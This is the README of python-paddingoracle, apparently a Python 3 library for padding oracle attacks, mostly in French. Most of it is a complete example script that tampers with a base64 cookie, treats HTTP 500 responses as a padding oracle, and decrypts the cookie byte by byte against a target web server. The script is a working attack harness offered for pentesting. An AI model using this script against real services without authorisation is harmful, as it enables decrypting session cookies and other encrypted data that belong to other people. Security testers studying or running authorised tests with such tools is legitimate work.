
A portable, padding oracle exploit API
MIS À JOUR POUR PYTHON 3
python-paddingoracle est une API qui offre aux pentesters une alternative
personnalisable à PadBuster_ et aux autres outils d'exploitation d'oracles de
padding qui ne peuvent pas facilement (sans une réécriture lourde) être utilisés
dans des scénarios uniques, spécifiques à chaque application. Pensez aux
applications non-HTTP, aux sockets bruts, aux applications clientes, aux
encodages uniques, etc.
Pour utiliser l'API paddingoracle, il suffit d'implémenter la méthode oracle() de l'API PaddingOracle et de lever une BadPaddingException lorsque le décrypteur révèle un oracle de padding. Pour déchiffrer des données, passez les octets chiffrés bruts à decrypt() avec une taille de bloc (généralement 8 ou 16) et un paramètre iv facultatif.
Voir ci-dessous un exemple (tiré de the example_) : ::
from paddingoracle import BadPaddingException, PaddingOracle
from base64 import b64encode, b64decode
from urllib.parse import quote, unquote
import requests
import socket
import time
class PadBuster(PaddingOracle):
def __init__(self, **kwargs):
super(PadBuster, self).__init__(**kwargs)
self.session = requests.Session()
self.wait = kwargs.get('wait', 2.0)
def oracle(self, data, **kwargs):
somecookie = quote(b64encode(data))
self.session.cookies['somecookie'] = somecookie
while 1:
try:
response = self.session.get('http://www.example.com/',
stream=False, timeout=5, verify=False)
break
except (socket.error, requests.exceptions.RequestException):
logging.exception('Retrying request in %.2f seconds...',
self.wait)
time.sleep(self.wait)
continue
self.history.append(response)
if response.ok:
logging.debug('No padding exception raised on %r', somecookie)
return
# An HTTP 500 error was returned, likely due to incorrect padding
raise BadPaddingException
if __name__ == '__main__':
import logging
import sys
if not sys.argv[1:]:
print('Usage: %s <somecookie value>' % (sys.argv[0], ))
sys.exit(1)
logging.basicConfig(level=logging.DEBUG)
encrypted_cookie = b64decode(unquote(sys.argv[1]))
padbuster = PadBuster()
cookie = padbuster.decrypt(encrypted_cookie, block_size=8, iv=bytearray(8))
print('Decrypted somecookie: %s => %r' % (sys.argv[1], cookie))
python-paddingoracle est une implémentation Python fortement basée sur
PadBuster_, un script automatisé pour réaliser des attaques par oracle de
padding, développé par Brian Holyfield de Gotham Digital Science.
.. _the example: https://github.com/mwielgoszewski/python-paddingoracle/blob/master/example.py
.. _PadBuster: https://github.com/GDSSecurity/PadBuster